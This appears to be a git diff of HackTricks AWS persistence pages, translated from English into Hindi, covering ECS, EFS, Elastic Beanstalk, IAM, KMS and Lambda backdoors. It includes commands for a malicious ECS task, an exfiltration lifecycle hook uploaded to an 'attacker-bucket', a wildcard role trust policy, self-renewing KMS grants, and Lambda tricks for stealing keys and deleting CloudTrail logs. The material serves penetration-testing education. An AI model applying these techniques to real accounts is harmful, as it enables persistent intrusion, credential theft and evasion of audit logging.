# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
- {
- "name": "malicious-container",
- "image": "malicious-image:latest",
- "memory": 256,
- "cpu": 10,
- "essential": true
- }
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
index bdb282d41..582c36397 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
@@ -4,22 +4,18 @@
## EFS
-For more information check:
+अधिक जानकारी के लिए देखें:
{{#ref}}
../aws-services/aws-efs-enum.md
{{#endref}}
-### Modify Resource Policy / Security Groups
+### संसाधन नीति / सुरक्षा समूहों को संशोधित करें
-Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
+**संसाधन नीति और/या सुरक्षा समूहों** को संशोधित करके आप फ़ाइल प्रणाली में अपनी पहुँच को बनाए रखने का प्रयास कर सकते हैं।
-### Create Access Point
+### एक्सेस पॉइंट बनाएं
-You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
+आप **एक्सेस पॉइंट बना सकते हैं** (जिसमें `/` पर रूट एक्सेस हो) जिसे एक सेवा से एक्सेस किया जा सकता है जहाँ आपने फ़ाइल प्रणाली तक विशेषाधिकार प्राप्त पहुँच बनाए रखने के लिए **अन्य स्थायीता** लागू की है।
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index c55e0e2ba..b18b06f30 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -4,31 +4,30 @@
## Elastic Beanstalk
-For more information check:
+अधिक जानकारी के लिए देखें:
{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
-### Persistence in Instance
+### Instance में Persistence
-In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
+AWS खाते के अंदर स्थिरता बनाए रखने के लिए, कुछ **स्थिरता तंत्र को Instance के अंदर पेश किया जा सकता है** (cron job, ssh key...) ताकि हमलावर इसे एक्सेस कर सके और IAM भूमिका **क्रेडेंशियल्स को मेटाडेटा सेवा से चुरा सके**।
-### Backdoor in Version
+### Version में Backdoor
-An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
+एक हमलावर S3 repo के अंदर कोड में बैकडोर डाल सकता है ताकि यह हमेशा अपने बैकडोर और अपेक्षित कोड को निष्पादित करे।
-### New backdoored version
+### नया बैकडोर संस्करण
-Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
+वास्तविक संस्करण पर कोड को बदलने के बजाय, हमलावर एप्लिकेशन का एक नया बैकडोर संस्करण तैनात कर सकता है।
-### Abusing Custom Resource Lifecycle Hooks
+### कस्टम रिसोर्स लाइफसाइकिल हुक का दुरुपयोग
> [!NOTE]
> TODO: Test
-Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
-
+Elastic Beanstalk लाइफसाइकिल हुक प्रदान करता है जो आपको Instance प्रावधान और समाप्ति के दौरान कस्टम स्क्रिप्ट चलाने की अनुमति देता है। एक हमलावर **एक लाइफसाइकिल हुक को कॉन्फ़िगर कर सकता है जो डेटा को निकालने या AWS खाते तक पहुंच बनाए रखने के लिए समय-समय पर एक स्क्रिप्ट निष्पादित करता है**।
```bash
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
@@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
- AWSEBAutoScalingGroup:
- Metadata:
- AWS::ElasticBeanstalk::Ext:
- TriggerConfiguration:
- triggers:
- - name: stealthy-lifecycle-hook
- events:
- - "autoscaling:EC2_INSTANCE_LAUNCH"
- - "autoscaling:EC2_INSTANCE_TERMINATE"
- target:
- ref: "AWS::ElasticBeanstalk::Environment"
- arn:
- Fn::GetAtt:
- - "AWS::ElasticBeanstalk::Environment"
- - "Arn"
- stealthyLifecycleHook:
- Type: AWS::AutoScaling::LifecycleHook
- Properties:
- AutoScalingGroupName:
- Ref: AWSEBAutoScalingGroup
- LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
- NotificationTargetARN:
- Ref: stealthy-lifecycle-hook
- RoleARN:
- Fn::GetAtt:
- - AWSEBAutoScalingGroup
- - Arn' > stealthy_lifecycle_hook.yaml
+AWSEBAutoScalingGroup:
+Metadata:
+AWS::ElasticBeanstalk::Ext:
+TriggerConfiguration:
+triggers:
+- name: stealthy-lifecycle-hook
+events:
+- "autoscaling:EC2_INSTANCE_LAUNCH"
+- "autoscaling:EC2_INSTANCE_TERMINATE"
+target:
+ref: "AWS::ElasticBeanstalk::Environment"
+arn:
+Fn::GetAtt:
+- "AWS::ElasticBeanstalk::Environment"
+- "Arn"
+stealthyLifecycleHook:
+Type: AWS::AutoScaling::LifecycleHook
+Properties:
+AutoScalingGroupName:
+Ref: AWSEBAutoScalingGroup
+LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
+NotificationTargetARN:
+Ref: stealthy-lifecycle-hook
+RoleARN:
+Fn::GetAtt:
+- AWSEBAutoScalingGroup
+- Arn' > stealthy_lifecycle_hook.yaml
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index e3e1944e7..8b9285d61 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -4,50 +4,44 @@
## IAM
-For more information access:
+अधिक जानकारी के लिए पहुँचें:
{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}
-### Common IAM Persistence
+### सामान्य IAM स्थिरता
-- Create a user
-- Add a controlled user to a privileged group
-- Create access keys (of the new user or of all users)
-- Grant extra permissions to controlled users/groups (attached policies or inline policies)
-- Disable MFA / Add you own MFA device
-- Create a Role Chain Juggling situation (more on this below in STS persistence)
+- एक उपयोगकर्ता बनाएं
+- एक नियंत्रित उपयोगकर्ता को एक विशेष समूह में जोड़ें
+- एक्सेस कुंजी बनाएं (नए उपयोगकर्ता या सभी उपयोगकर्ताओं की)
+- नियंत्रित उपयोगकर्ताओं/समूहों को अतिरिक्त अनुमतियाँ दें (संलग्न नीतियाँ या इनलाइन नीतियाँ)
+- MFA को निष्क्रिय करें / अपना खुद का MFA उपकरण जोड़ें
+- एक भूमिका श्रृंखला जुग्गलिंग स्थिति बनाएं (इस पर नीचे STS स्थिरता में अधिक)
-### Backdoor Role Trust Policies
-
-You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
+### बैकडोर भूमिका ट्रस्ट नीतियाँ
+आप एक ट्रस्ट नीति में बैकडोर कर सकते हैं ताकि आप इसे एक बाहरी संसाधन के लिए मान लें जो आपके द्वारा नियंत्रित है (या सभी के लिए):
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "AWS": ["*", "arn:aws:iam::123213123123:root"]
- },
- "Action": "sts:AssumeRole"
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": ["*", "arn:aws:iam::123213123123:root"]
+},
+"Action": "sts:AssumeRole"
+}
+]
}
```
+### बैकडोर नीति संस्करण
-### Backdoor Policy Version
+एक नीति को उसके अंतिम संस्करण में नहीं, बल्कि एक संस्करण में व्यवस्थापक अनुमतियाँ दें (अंतिम संस्करण को वैध दिखना चाहिए), फिर उस नीति के संस्करण को एक नियंत्रित उपयोगकर्ता/समूह को सौंपें।
-Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
+### बैकडोर / पहचान प्रदाता बनाना
-### Backdoor / Create Identity Provider
-
-If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
+यदि खाता पहले से ही एक सामान्य पहचान प्रदाता (जैसे Github) पर भरोसा कर रहा है, तो विश्वास की शर्तों को बढ़ाया जा सकता है ताकि हमलावर उनका दुरुपयोग कर सके।
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
index 7aefbd410..69c9b2f8d 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -4,40 +4,34 @@
## KMS
-For mor information check:
+अधिक जानकारी के लिए देखें:
{{#ref}}
../aws-services/aws-kms-enum.md
{{#endref}}
-### Grant acces via KMS policies
+### KMS नीतियों के माध्यम से पहुँच प्रदान करें
-An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
+एक हमलावर **`kms:PutKeyPolicy`** अनुमति का उपयोग करके एक कुंजी को अपने नियंत्रण में एक उपयोगकर्ता या यहां तक कि एक बाहरी खाते को **पहुँच देने** के लिए उपयोग कर सकता है। अधिक जानकारी के लिए [**KMS Privesc पृष्ठ**](../aws-privilege-escalation/aws-kms-privesc.md) देखें।
-### Eternal Grant
+### शाश्वत अनुदान
-Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
+अनुदान किसी विशेष कुंजी पर एक प्रमुख को कुछ अनुमतियाँ देने का एक और तरीका है। यह संभव है कि एक अनुदान दिया जाए जो एक उपयोगकर्ता को अनुदान बनाने की अनुमति देता है। इसके अलावा, एक उपयोगकर्ता के पास एक ही कुंजी पर कई अनुदान (यहां तक कि समान) हो सकते हैं।
-Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
-
-(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
+इसलिए, एक उपयोगकर्ता के पास सभी अनुमतियों के साथ 10 अनुदान हो सकते हैं। हमलावर को इसे लगातार मॉनिटर करना चाहिए। और यदि किसी बिंदु पर 1 अनुदान हटा दिया जाता है, तो अन्य 10 उत्पन्न किए जाने चाहिए।
+(हम 10 का उपयोग कर रहे हैं और 2 का नहीं ताकि यह पता चल सके कि एक अनुदान हटा दिया गया था जबकि उपयोगकर्ता के पास अभी भी कुछ अनुदान हैं)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
- --key-id \
- --grantee-principal \
- --operations "CreateGrant" "Decrypt"
+--key-id \
+--grantee-principal \
+--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id
```
-
> [!NOTE]
-> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+> एक ग्रांट केवल इस से अनुमति दे सकता है: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index 1390c2d55..6a14e72d9 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -4,7 +4,7 @@
## Lambda
-For more information check:
+अधिक जानकारी के लिए देखें:
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -12,7 +12,7 @@ For more information check:
### Lambda Layer Persistence
-It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
+यह संभव है कि **कोई लेयर पेश की जाए/बैकडोर किया जाए ताकि जब लैम्ब्डा निष्पादित हो, तो मनमाना कोड चल सके**:
{{#ref}}
aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
### Lambda Extension Persistence
-Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
+Lambda Layers का दुरुपयोग करते हुए, यह भी संभव है कि एक्सटेंशन का दुरुपयोग किया जाए और लैम्ब्डा में स्थायी रूप से बने रहें, लेकिन साथ ही अनुरोधों को चुराएं और संशोधित करें।
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -28,41 +28,37 @@ aws-abusing-lambda-extensions.md
### Via resource policies
-It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
+यह संभव है कि विभिन्न लैम्ब्डा क्रियाओं (जैसे कि इनवोक या कोड अपडेट) के लिए बाहरी खातों को पहुंच प्रदान की जाए:
### Versions, Aliases & Weights
-A Lambda can have **different versions** (with different code each version).\
-Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
-This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
+एक Lambda में **विभिन्न संस्करण हो सकते हैं** (प्रत्येक संस्करण के साथ अलग कोड)।\
+फिर, आप लैम्ब्डा के **विभिन्न संस्करणों के साथ विभिन्न उपनाम बना सकते हैं** और प्रत्येक को अलग वजन सेट कर सकते हैं।\
+इस तरह एक हमलावर **बैकडोर संस्करण 1** और **केवल वैध कोड के साथ संस्करण 2** बना सकता है और **केवल 1%** अनुरोधों में संस्करण 1 को निष्पादित कर सकता है ताकि वह छिपा रहे।
### Version Backdoor + API Gateway
-1. Copy the original code of the Lambda
-2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
- 1. Call the API gateway related to the lambda to execute the code
-3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
- 1. This will hide the backdoored code in a previous version
-4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1`
- 1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
-5. Select the POST method created and in Actions select **`Deploy API`**
-6. Now, when you **call the function via POST your Backdoor** will be invoked
+1. Lambda का मूल कोड कॉपी करें
+2. **मूल कोड को बैकडोर करते हुए एक नया संस्करण बनाएं** (या केवल दुर्भावनापूर्ण कोड के साथ)। उस संस्करण को प्रकाशित करें और **$LATEST पर तैनात करें**
+1. कोड निष्पादित करने के लिए लैम्ब्डा से संबंधित API गेटवे को कॉल करें
+3. **मूल कोड के साथ एक नया संस्करण बनाएं**, उस **संस्करण को प्रकाशित करें** और **$LATEST पर तैनात करें**।
+1. यह पिछले संस्करण में बैकडोर कोड को छिपा देगा
+4. API गेटवे पर जाएं और **एक नया POST विधि बनाएं** (या कोई अन्य विधि चुनें) जो लैम्ब्डा के बैकडोर संस्करण को निष्पादित करेगा: `arn:aws:lambda:us-east-1::function::1`
+1. अंतिम :1 को ध्यान में रखें जो **कार्य के संस्करण को इंगित करता है** (इस परिदृश्य में संस्करण 1 बैकडोर वाला होगा)।
+5. बनाए गए POST विधि का चयन करें और क्रियाओं में **`Deploy API`** चुनें
+6. अब, जब आप **POST के माध्यम से कार्य को कॉल करेंगे, तो आपका बैकडोर** सक्रिय होगा
### Cron/Event actuator
-The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
-Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
+यह तथ्य कि आप **लैम्ब्डा कार्यों को तब चला सकते हैं जब कुछ होता है या जब कुछ समय बीतता है** लैम्ब्डा को स्थायीता प्राप्त करने और पहचान से बचने का एक अच्छा और सामान्य तरीका बनाता है।\
+यहां आपके **AWS में उपस्थिति को अधिक छिपाने के लिए लैम्ब्डा बनाने के कुछ विचार हैं**।
-- Every time a new user is created lambda generates a new user key and send it to the attacker.
-- Every time a new role is created lambda gives assume role permissions to compromised users.
-- Every time new cloudtrail logs are generated, delete/alter them
+- हर बार जब एक नया उपयोगकर्ता बनाया जाता है, तो लैम्ब्डा एक नया उपयोगकर्ता कुंजी उत्पन्न करता है और इसे हमलावर को भेजता है।
+- हर बार जब एक नई भूमिका बनाई जाती है, तो लैम्ब्डा समझौता किए गए उपयोगकर्ताओं को भूमिका मानने की अनुमति देता है।
+- हर बार जब नए क्लाउडट्रेल लॉग उत्पन्न होते हैं, तो उन्हें हटा दें/संशोधित करें
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index 71655ada0..fbaed2c80 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -4,43 +4,39 @@
## Lambda Extensions
-Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
+Lambda extensions कार्यों को विभिन्न **निगरानी, अवलोकन, सुरक्षा, और शासन उपकरणों** के साथ एकीकृत करके बढ़ाते हैं। ये एक्सटेंशन [.zip आर्काइव का उपयोग करके Lambda लेयर्स](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) के माध्यम से जोड़े जाते हैं या [कंटेनर इमेज डिप्लॉयमेंट्स](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) में शामिल होते हैं, और दो मोड में कार्य करते हैं: **आंतरिक** और **बाहरी**।
-- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
-- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
+- **आंतरिक एक्सटेंशन** रनटाइम प्रक्रिया के साथ विलीन होते हैं, इसके स्टार्टअप को **भाषा-विशिष्ट पर्यावरण चर** और **रैपर स्क्रिप्ट** का उपयोग करके संशोधित करते हैं। यह अनुकूलन विभिन्न रनटाइम्स पर लागू होता है, जिसमें **Java Correto 8 और 11, Node.js 10 और 12, और .NET Core 3.1** शामिल हैं।
+- **बाहरी एक्सटेंशन** अलग प्रक्रियाओं के रूप में चलते हैं, Lambda फ़ंक्शन के जीवन चक्र के साथ संचालन संरेखण बनाए रखते हैं। ये विभिन्न रनटाइम्स के साथ संगत हैं जैसे **Node.js 10 और 12, Python 3.7 और 3.8, Ruby 2.5 और 2.7, Java Corretto 8 और 11, .NET Core 3.1**, और **कस्टम रनटाइम्स**।
-For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
+[**कैसे lambda extensions काम करते हैं, इसके बारे में अधिक जानकारी के लिए दस्तावेज़ देखें**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html)।
-### External Extension for Persistence, Stealing Requests & modifying Requests
+### स्थिरता, अनुरोध चुराने और अनुरोधों को संशोधित करने के लिए बाहरी एक्सटेंशन
-This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
+यह इस पोस्ट में प्रस्तावित तकनीक का सारांश है: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
-It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
+यह पाया गया कि Lambda रनटाइम वातावरण में डिफ़ॉल्ट Linux कर्नेल “**process_vm_readv**” और “**process_vm_writev**” सिस्टम कॉल के साथ संकलित है। और सभी प्रक्रियाएँ एक ही उपयोगकर्ता आईडी के साथ चलती हैं, यहां तक कि बाहरी एक्सटेंशन के लिए बनाई गई नई प्रक्रिया भी। **इसका मतलब है कि एक बाहरी एक्सटेंशन को डिज़ाइन के अनुसार Rapid की हीप मेमोरी तक पूर्ण पढ़ने और लिखने की पहुंच है।**
-Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
+इसके अलावा, जबकि Lambda एक्सटेंशन **आह्वान घटनाओं की सदस्यता लेने** की क्षमता रखते हैं, AWS इन एक्सटेंशनों को कच्चा डेटा नहीं दिखाता। यह सुनिश्चित करता है कि **एक्सटेंशन संवेदनशील जानकारी** तक पहुंच नहीं प्राप्त कर सकते जो HTTP अनुरोध के माध्यम से भेजी जाती है।
-The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
+Init (Rapid) प्रक्रिया सभी API अनुरोधों की निगरानी करती है [http://127.0.0.1:9001](http://127.0.0.1:9001/) जबकि Lambda एक्सटेंशन प्रारंभ होते हैं और किसी भी रनटाइम कोड के निष्पादन से पहले चलते हैं, लेकिन Rapid के बाद।
-The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
+चर **`AWS_LAMBDA_RUNTIME_API`** Rapid API का **IP** पता और **पोर्ट** संख्या **बच्चे रनटाइम प्रक्रियाओं** और अतिरिक्त एक्सटेंशनों को इंगित करता है।
> [!WARNING]
-> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
+> **`AWS_LAMBDA_RUNTIME_API`** पर्यावरण चर को एक **`पोर्ट`** में बदलकर, जिसके पास हम पहुंच रखते हैं, Lambda रनटाइम के भीतर सभी क्रियाओं को इंटरसेप्ट करना संभव है (**मैन-इन-द-मिडल**)। यह संभव है क्योंकि एक्सटेंशन Rapid Init के समान विशेषाधिकारों के साथ चलता है, और सिस्टम का कर्नेल **प्रक्रिया मेमोरी में संशोधन** की अनुमति देता है, जिससे पोर्ट संख्या को बदलना संभव होता है।
-Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
+क्योंकि **एक्सटेंशन किसी भी रनटाइम कोड से पहले चलते हैं**, पर्यावरण चर को संशोधित करने से रनटाइम प्रक्रिया (जैसे, Python, Java, Node, Ruby) पर प्रभाव पड़ेगा जब यह शुरू होता है। इसके अलावा, **हमारे बाद लोड किए गए एक्सटेंशन**, जो इस चर पर निर्भर करते हैं, वे भी हमारे एक्सटेंशन के माध्यम से रूट करेंगे। यह सेटअप मैलवेयर को सुरक्षा उपायों या लॉगिंग एक्सटेंशनों को पूरी तरह से बायपास करने की अनुमति दे सकता है जो सीधे रनटाइम वातावरण के भीतर हैं।
-The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
+उपकरण [**lambda-spy**](https://github.com/clearvector/lambda-spy) को **मेमोरी लिखने** और Lambda अनुरोधों से **संवेदनशील जानकारी चुराने** के लिए बनाया गया था, अन्य **एक्सटेंशनों** के **अनुरोधों** और यहां तक कि **उन्हें संशोधित करने** के लिए।
-## References
+## संदर्भ
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index f8a5e2868..aad4d36ff 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -4,79 +4,72 @@
## Lambda Layers
-A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
+एक Lambda लेयर एक .zip फ़ाइल संग्रह है जो **अतिरिक्त कोड** या अन्य सामग्री **शामिल कर सकता है**। एक लेयर में पुस्तकालय, एक [कस्टम रनटाइम](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), डेटा, या कॉन्फ़िगरेशन फ़ाइलें हो सकती हैं।
-It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
+आप **प्रत्येक फ़ंक्शन के लिए पांच लेयर्स** तक शामिल कर सकते हैं। जब आप किसी फ़ंक्शन में एक लेयर शामिल करते हैं, तो **सामग्री को `/opt`** निर्देशिका में निष्पादन वातावरण में निकाला जाता है।
-By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
+**डिफ़ॉल्ट रूप से**, जो **लेयर्स** आप बनाते हैं वे आपके AWS खाते के लिए **निजी** होती हैं। आप एक लेयर को अन्य खातों के साथ **साझा** करने या लेयर को **सार्वजनिक** बनाने का विकल्प चुन सकते हैं। यदि आपके फ़ंक्शन किसी अन्य खाते द्वारा प्रकाशित की गई लेयर का उपयोग करते हैं, तो आपके फ़ंक्शन **लेयर संस्करण का उपयोग जारी रख सकते हैं, भले ही इसे हटा दिया गया हो, या आपके लेयर तक पहुँचने की अनुमति को रद्द कर दिया गया हो**। हालाँकि, आप एक नई फ़ंक्शन नहीं बना सकते या हटाई गई लेयर संस्करण का उपयोग करके फ़ंक्शंस को अपडेट नहीं कर सकते।
-Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
+कंटेनर इमेज के रूप में तैनात फ़ंक्शन लेयर्स का उपयोग नहीं करते हैं। इसके बजाय, आप इमेज बनाने के समय अपने पसंदीदा रनटाइम, पुस्तकालयों और अन्य निर्भरताओं को कंटेनर इमेज में पैकेज करते हैं।
### Python load path
-The load path that Python will use in lambda is the following:
-
+Python द्वारा lambda में उपयोग किया जाने वाला लोड पथ निम्नलिखित है:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
-
-Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
+चेक करें कि **दूसरे** और तीसरे **स्थान** पर वे निर्देशिकाएँ हैं जहाँ **lambda layers** अपनी फ़ाइलें अनकंप्रेस करती हैं: **`/opt/python/lib/python3.9/site-packages`** और **`/opt/python`**
> [!CAUTION]
-> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
+> यदि एक हमलावर एक उपयोग की गई lambda **layer** में **बैकडोर** डालने में सफल हो जाता है या **एक ऐसा जोड़ता है** जो **एक सामान्य पुस्तकालय लोड होने पर मनमाना कोड निष्पादित करेगा**, तो वह प्रत्येक lambda कॉल के साथ दुर्भावनापूर्ण कोड निष्पादित करने में सक्षम होगा।
-Therefore, the requisites are:
